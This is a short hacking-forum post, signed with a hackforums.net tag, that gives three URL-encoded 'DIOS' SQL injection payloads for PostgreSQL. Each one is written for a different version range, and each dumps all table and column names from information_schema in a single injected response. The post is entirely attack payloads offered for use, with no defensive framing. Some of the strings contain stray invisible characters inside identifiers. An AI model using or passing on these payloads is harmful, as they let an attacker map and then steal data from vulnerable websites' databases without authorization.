POSTGREE DIOS QUERY

POSTGREE DIOS QUERY
1.FOR POSTGRE 8.4 >
(SELECT+ARRAY_TO_STRING(ARRAY_AGG(concat(table_name,'::',column_name)::TEXT),$$%3Cli%3E$$)FROM+information_schema.columns+WHERE+table_schema+NOT+in($$informatio​n_schema$$,$$pg_catalog$$))
2.FOR POSTGRE 9.1>
(SELECT+STRING_AGG(concat(table_name,'::',column_name),$$%3Cli%3E$$)FROM+informa​tion_schema.columns+WHERE+table_schema+NOT+in($$information_schema$$,$$pg_catalo​g$$))
3. ALL VERSION
(SELECT+ARRAY_TO_STRING(array(SELECT+table_name||':::'||column_name::TEXT+FROM+i​nformation_schema.columns+WHERE+table_schema+NOT+in($$information_schema$$,$$pg_catalog$$)),'%3Cli%3E'))
#cyberbaghost {hackforums.net}